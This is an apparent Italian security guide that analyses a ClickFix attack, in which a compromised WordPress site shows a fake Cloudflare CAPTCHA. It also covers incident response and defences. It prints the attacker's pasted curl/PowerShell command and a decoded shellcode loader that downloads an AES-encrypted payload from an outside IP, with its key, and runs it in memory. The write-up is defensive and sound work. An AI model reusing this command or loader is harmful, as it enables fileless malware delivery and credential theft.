ClickFix – Finto captcha Cloudflare e loader PowerShell – WordPress

Analisi di un caso reale: un sito legittimo compromesso mostra una finta verifica Cloudflare che convince l'utente a incollare un comando nel computer. Cosa fa il malware passo per passo, come lo ha fermato l'EDR, come gestire l'incidente e come riconoscere e prevenire questo attacco

Un utente apre un sito web italiano del tutto legittimo, che però è stato compromesso. Al posto della pagina compare una verifica "Sono un essere umano" con il logo Cloudflare, che chiede di premere WIN+R, aprire il prompt dei comandi e incollare un testo con CTRL+V. L'utente esegue e, senza saperlo, avvia un loader PowerShell che scarica ed esegue in memoria un malware. Questa tecnica si chiama ClickFix (o fake CAPTCHA) ed è oggi uno dei metodi più usati per distribuire malware che rubano credenziali (infostealer).

Questa guida ricostruisce l'incidente con le evidenze raccolte: la pagina malevola, il comando eseguito, lo script decodificato livello per livello e il rilevamento di CrowdStrike Falcon. Nella seconda parte trovi la procedura di risposta all'incidente e le contromisure, tecniche e formative.

Indicatori e comandi presenti in questa guida sono riportati solo a scopo di analisi e difesa. Non eseguire mai i comandi malevoli mostrati: sono riportati esattamente come li usano gli attaccanti.

Indice

• 1. Cosa è successo
• 2. La catena d'attacco in sintesi
• 3. La finta verifica Cloudflare
• 4. Il comando incollato dall'utente
• 5. Analisi dello script PowerShell
  • 5.1 Livello 1: offuscamento con parole inglesi
  • 5.2 Livello 2: la finestra esca
  • 5.3 Download, decifratura ed esecuzione in memoria
• 6. Perché analizzare il sito dal browser inganna
• 7. Il blocco di CrowdStrike Falcon
• 8. Cosa può aver rubato
• 9. Risposta all'incidente
• 10. Come riconoscere la minaccia
• 11. Come difendersi: contromisure tecniche
• 12. Indicatori di compromissione (IOC)
• 13. Riepilogo e scenari

1. Cosa è successo

Gli attaccanti hanno inserito del codice malevolo in un sito legittimo. Il codice non mostra la stessa pagina a tutti: in base a dispositivo, sistema operativo e provenienza, il visitatore viene mandato su contenuti diversi. Chi arriva da un PC Windows riceve la finta verifica Cloudflare, ospitata su un dominio dell'attaccante; chi arriva da smartphone finisce su una pagina pubblicitaria truffaldina (una "ruota della fortuna" di un casinò online).

2. La catena d'attacco in sintesi

1. L'utente visita il sito compromesso con un PC Windows e viene reindirizzato alla finta pagina Cloudflare.
2. Cliccando la casella "Non sono un robot", la pagina copia di nascosto un comando negli appunti e mostra le istruzioni da seguire.
3. L'utente apre il prompt dei comandi e incolla: il comando usa curl.exe per scaricare in %TEMP% un file di testo e uno script PowerShell.
4. Il comando esegue la riga contenuta nel file di testo: powershell.exe con finestra nascosta, che avvia lo script.
5. Lo script si decodifica in memoria, mostra una finestra esca "Verifying you are human" e intanto scarica dal server 89.23.107.196 un file cifrato.
6. Il file viene decifrato con AES e lo shellcode risultante viene iniettato ed eseguito nella memoria del processo PowerShell, senza scrivere nessun eseguibile su disco.
7. CrowdStrike Falcon rileva il contenuto dello script tramite AMSI e termina il processo.

3. La finta verifica Cloudflare

La pagina imita in modo molto curato quella di Cloudflare: logo, scritta "cloudflare.com deve verificare la sicurezza della connessione", casella "Non sono un robot" e un ID di verifica. Nell'animazione seguente, registrata in un ambiente di analisi, si vede la sequenza completa: clic sulla casella, comparsa del riquadro "Verifica umana" con i quattro passaggi, e il comando che finisce nella finestra Esegui di Windows.

Il riquadro "Verifica umana" chiede di:

1. premere WIN+R, che apre la finestra Esegui;
2. scrivere cmd e premere Invio, che apre il prompt dei comandi;
3. premere CTRL+V, che incolla il comando già copiato dalla pagina;
4. premere Invio, che lo esegue.

4. Il comando incollato dall'utente

Questo è il comando che l'utente ha incollato nel prompt dei comandi (riportato solo per analisi, non eseguirlo):

set "__VSCMD_WIN_64BIT=true"&& cd %tmp%& curl.exe -sLo %tmp%\trancle.txt 2469256532/657&& curl.exe -sLo %tmp%\Z717.ps1 2469256532/656&& for /f "delims=" %i in (trancle.txt) do %i

Il file di testo contiene una sola riga, che avvia lo script PowerShell:

powershell.exe -w h -nop -ep bypass -File Z828.ps1

• -w h: finestra nascosta (WindowStyle Hidden), l'utente non vede nulla;
• -nop: non carica il profilo PowerShell dell'utente;
• -ep bypass: ignora la Execution Policy che normalmente impedirebbe l'esecuzione di script non firmati.

5. Analisi dello script PowerShell

Lo script Z828.ps1 pesa circa 570 KB ma contiene solo circa 25 KB di codice utile: il resto è offuscamento. È stato decodificato staticamente, cioè leggendone e traducendone il contenuto senza mai eseguirlo.

5.1 Livello 1: offuscamento con parole inglesi

Il codice vero è nascosto in una lunghissima stringa di parole inglesi senza senso. Lo script definisce un "alfabeto" di 16 parole: ognuna vale un numero da 0 a 15 (una cifra esadecimale). Le parole vengono lette a coppie, ogni coppia forma un byte, e i byte formano il testo del secondo script:

# Alfabeto: la posizione della parola nell'elenco è il suo valore (0-15)
$alfabeto = 'indolence nonchastisement jeopards professoress enlighteningly expects chalkstony ...'
$dati     = 'chalkstony chalkstony coinhabitor expects chalkstony balneation ...'   # ~575.000 caratteri
# Ogni coppia di parole = un byte (valore1 * 16 + valore2)
$byte[$i/2] = ($alto -shl 4) -bor $basso
$codice = [System.Text.Encoding]::UTF8.GetString($byte)
# Il testo ottenuto viene trasformato in codice ed eseguito
& ([ScriptBlock]::Create($codice))

Anche i nomi delle funzioni sensibili sono nascosti: ScriptBlock e Create non compaiono mai in chiaro, ma sono ricostruiti da array di numeri a cui viene sommato un valore fisso (es. -39876 + 39959 = 83 = "S"). Lo stesso trucco è usato in tutto il secondo livello per nascondere stringhe come Add-Type o System.Net.WebClient.

5.2 Livello 2: la finestra esca

Il secondo livello per prima cosa mostra una finestra grafica (WPF) senza bordi, intitolata "CloudTrust Auth", con la scritta Cloudflare – Verifying you are human. This may take a few seconds., una barra di avanzamento e un pulsante Verify. Serve a dare all'utente la sensazione che la verifica stia proseguendo normalmente, mentre in sottofondo avviene il resto.

La barra si riempie in circa 2–3 secondi (100 passi da 20 ms). Solo quando arriva al 100% viene chiamata la funzione che contiene la parte malevola, e il pulsante Verify diventa arancione e cliccabile. Cliccarlo chiude solo la finestra: il malware ormai è già in esecuzione.

5.3 Download, decifratura ed esecuzione in memoria

La funzione malevola è un classico shellcode loader. Questo è il codice decodificato, con i nomi delle variabili resi leggibili:

# 1. Dichiara le API di Windows necessarie (compilate al volo con Add-Type)
#    VirtualAlloc, VirtualProtect, CreateThread, GetConsoleWindow, ShowWindow
Add-Type -TypeDefinition $codiceCSharp   # classe TR1991

# 2. Nasconde la finestra della console
[TR1991]::ShowWindow([TR1991]::GetConsoleWindow(), 0)

# 3. Scarica il payload cifrato direttamente in memoria
$dati = (New-Object System.Net.WebClient).DownloadData('http://89.23.107.196/yrjrs/tdtd.bba')

# 4. Decifra con AES-256-CBC: i primi 16 byte sono l'IV, la chiave è nello script
$aes.Key = [Convert]::FromBase64String('AdbT2EEfUYbE4wEy0nqfkzLa2NHFEGz9wGcQqA0HkQI=')
$aes.IV  = $dati[0..15]
$shellcode = 

# 5. Alloca memoria, copia lo shellcode, la rende eseguibile e la avvia
$mem = [TR1991]::VirtualAlloc(0, $shellcode.Length, 0x3000, 0x04)   # MEM_COMMIT|RESERVE, PAGE_READWRITE
[Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
[TR1991]::VirtualProtect($mem, $shellcode.Length, 0x40, [ref]$old)       # PAGE_EXECUTE_READWRITE
[TR1991]::CreateThread(0, 0, $mem, 0, 0, [ref]$tid)

# 6. Resta in vita per sempre, così il thread del malware continua a girare
while($true){ Start-Sleep -Seconds 30 }

Gli aspetti importanti dal punto di vista difensivo sono tre:

• Il payload non tocca mai il disco. DownloadData restituisce i byte in una variabile, che vengono decifrati ed eseguiti in RAM. Non esiste un file .exe da trovare o da analizzare con l'antivirus, e il payload scompare quando il processo termina.
• Il payload viaggia cifrato. Anche se scaricato in HTTP in chiaro, firewall e IPS vedono solo dati casuali: senza la chiave contenuta nello script non è riconoscibile.
• Il malware vive dentro powershell.exe. Lo shellcode è un thread del processo PowerShell: se il processo viene terminato, termina anche il malware (a meno che nel frattempo non abbia già creato persistenza o si sia iniettato in un altro processo).

6. Perché analizzare il sito dal browser inganna

Aprendo il sito compromesso dagli strumenti per sviluppatori del browser, con l'emulazione di uno smartphone Android, la finta verifica non compare: si viene invece rimandati a una pagina truffa di un casinò online.

È la tecnica del cloaking, gestita da un Traffic Distribution System (TDS): il codice malevolo controlla sistema operativo, dispositivo, paese, indirizzo IP e se il browser è automatizzato o ha i DevTools aperti, e decide cosa mostrare. Le pagine ClickFix vengono mostrate solo a chi può eseguire il comando, cioè a utenti Windows "veri". Ripetendo la visita, la catena di redirect passava da tracker pubblicitari e servizi anti-bot, che hanno bloccato la navigazione e mostrato un messaggio "Please close the DevTools panel before solving the captcha".

7. Il blocco di CrowdStrike Falcon

Sul PC era installato il sensore CrowdStrike Falcon, che ha generato una detection di gravità High:

Il rilevamento è avvenuto sul contenuto dello script passato ad AMSI: un testo che dichiara VirtualAlloc, VirtualProtect e CreateThread per eseguire codice in memoria è un comportamento tipico dei loader. Falcon ha quindi terminato il processo PowerShell, e con esso l'eventuale shellcode in esecuzione.

8. Cosa può aver rubato

Un infostealer tipico delle campagne ClickFix, in pochi secondi, raccoglie e invia al server dell'attaccante:

• password salvate nei browser (Chrome, Edge, Firefox…);
• cookie di sessione: permettono di entrare in Microsoft 365, Google, home banking e altri servizi senza password e senza MFA, finché la sessione resta valida;
• dati di compilazione automatica, carte di credito salvate;
• wallet di criptovalute ed estensioni wallet del browser;
• sessioni di Telegram, Discord, client FTP, VPN e password manager;
• file con estensioni interessanti (documenti, file di testo con password) presi dal desktop e dai documenti;
• informazioni sul sistema (nome host, utente, dominio, software installato, IP pubblico).

Le credenziali rubate vengono rivendute o usate rapidamente, spesso entro poche ore, per accedere alla posta aziendale, inviare phishing ai contatti o preparare attacchi più gravi come il ransomware.

9. Risposta all'incidente

Se un utente ha eseguito un comando di questo tipo, procedi in questo ordine.

1. Contenimento. Isola il PC dalla rete. Con CrowdStrike Falcon usa Network contain dalla scheda dell'host: il PC resta raggiungibile solo dalla console Falcon. In alternativa scollega il cavo e disattiva il Wi-Fi, ma non spegnere il PC se vuoi conservare le evidenze in memoria.

2. Credenziali e sessioni, da un altro dispositivo pulito:

• cambia la password dell'utente in Active Directory e in Microsoft 365;
• revoca le sessioni attive: in Entra ID, scheda dell'utente > Revoca sessioni (o Revoke-MgUserSignInSession);
• chiedi all'utente di cambiare tutte le password salvate nel browser, partendo da posta, banca e servizi aziendali;
• controlla in Exchange Online le regole di posta e gli inoltri appena creati, i metodi MFA registrati e i log di accesso da paesi o IP insoliti.

3. Ricostruzione e verifica. Nel process tree della detection in Falcon verifica i processi padre e figli (cmd.exe → curl.exe → powershell.exe), eventuali processi csc.exe generati da Add-Type, connessioni di rete e altre detection sull'host. Sul firewall cerca, dopo l'orario dell'incidente, connessioni del PC verso IP o domini sconosciuti, in particolare con molti dati in uscita: sono il segnale di un invio di dati rubati.

Sul PC puoi cercare gli script PowerShell eseguiti (se lo Script Block Logging è attivo, vedi sezione 11) e i file lasciati in %TEMP%:

# Script PowerShell con chiamate tipiche dei loader (evento 4104)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
  Where-Object { $_.Message -match 'VirtualAlloc|CreateThread|DownloadData|ScriptBlock' } |
  Select-Object TimeCreated, Id, @{n='Script';e={$_.Message.Substring(0,[Math]::Min(300,$_.Message.Length))}}

# File .ps1 e .txt creati di recente nella cartella temporanea dell'utente
Get-ChildItem "C:\Users\\AppData\Local\Temp" -Include *.ps1,*.txt -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-2) } |
  Select-Object FullName, CreationTime, Length

# Avvio automatico: chiavi Run dell'utente e attività pianificate recenti
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ScheduledTask | Where-Object { $_.Date -and [datetime]$_.Date -gt (Get-Date).AddDays(-2) }

4. Pulizia. Elimina i file scaricati in %TEMP% dopo averne conservato una copia per l'analisi, e blocca sul firewall gli indirizzi della sezione 12. Se ci sono indizi che il payload sia stato eseguito (connessioni sospette successive, nuovi processi, persistenza), reinstalla il sistema: è l'unico modo per avere la certezza che sia pulito.

5. Segnalazione. Avvisa il gestore del sito compromesso, segnala gli indirizzi su servizi come AbuseIPDB e URLhaus e valuta con il DPO gli obblighi di notifica previsti dal GDPR se sono coinvolti dati personali.

10. Come riconoscere la minaccia

Questa sezione è pensata per gli utenti: condividila o usala nella formazione sulla sicurezza.

11. Come difendersi: contromisure tecniche

Nessuna misura da sola è sufficiente: le contromisure efficaci lavorano su più livelli.

Endpoint

• EDR con AMSI e blocco attivo: in questo caso è stato l'elemento decisivo. Verifica che le policy di prevenzione siano in modalità blocco e non solo di rilevamento.
• Utenti senza privilegi di amministratore: non impediscono questo attacco, ma limitano molto cosa il malware può fare (persistenza a livello di sistema, disattivazione delle difese, movimento laterale).
• Regole ASR di Microsoft Defender, in particolare Blocca l'esecuzione di script potenzialmente offuscati (GUID 5beb7efe-fd9a-4556-801d-275e5ffc04cc).
• Limitare PowerShell per gli utenti che non ne hanno bisogno, con AppLocker o App Control for Business e il Constrained Language Mode, che impedisce l'uso di Add-Type e delle API di Windows.
• Disattivare la finestra Esegui per gli utenti standard con la GPO Configurazione utente > Modelli amministrativi > Menu Start e barra delle applicazioni > Rimuovi il menu Esegui dal menu Start, che disattiva anche WIN+R. È una misura drastica: valutala per postazioni che non ne hanno bisogno e ricorda che alcune varianti usano WIN+X o la barra degli indirizzi di Esplora file.

Visibilità: attiva lo Script Block Logging di PowerShell, che registra in chiaro (evento 4104) il codice eseguito anche quando è offuscato. Puoi farlo via GPO (Modelli amministrativi > Componenti di Windows > Windows PowerShell > Attiva registrazione blocchi di script) o da registro:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f
REM Registra anche la riga di comando negli eventi 4688 di creazione processo
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f

Per la seconda chiave serve anche che il criterio di controllo Controlla creazione processo sia attivo, altrimenti l'evento 4688 non viene generato.

Rete

• Filtro web e DNS che blocchi i domini appena registrati e le categorie Newly Observed / Malicious; valuta il blocco dei TLD a basso costo spesso abusati (es. .buzz, .top, .xyz) se non servono all'attività.
• Bloccare le connessioni HTTP verso indirizzi IP diretti (senza nome di dominio) dai client: il loader scaricava sia gli script sia il payload da IP "nudi".
• Profili antivirus e IPS sul firewall, con le firme aggiornate e la reputazione degli IP attiva.
• Controllo del traffico in uscita: i client dovrebbero uscire solo attraverso le policy previste, così che una connessione verso un server sconosciuto lasci traccia nei log o venga bloccata.

Identità: con l'accesso condizionale di Entra ID richiedi dispositivi conformi o gestiti per accedere ai dati aziendali, e preferisci metodi MFA resistenti al phishing. Riduci la durata delle sessioni e attiva, dove la licenza lo permette, la valutazione continua dell'accesso (CAE), così che un cookie rubato abbia un valore molto più basso.

Persone: la formazione è la difesa più efficace contro ClickFix, perché l'attacco funziona solo se l'utente esegue il comando. Mostra agli utenti esempi reali come le figure di questa guida e la regola della sezione 10.

12. Indicatori di compromissione (IOC)

13. Riepilogo e scenari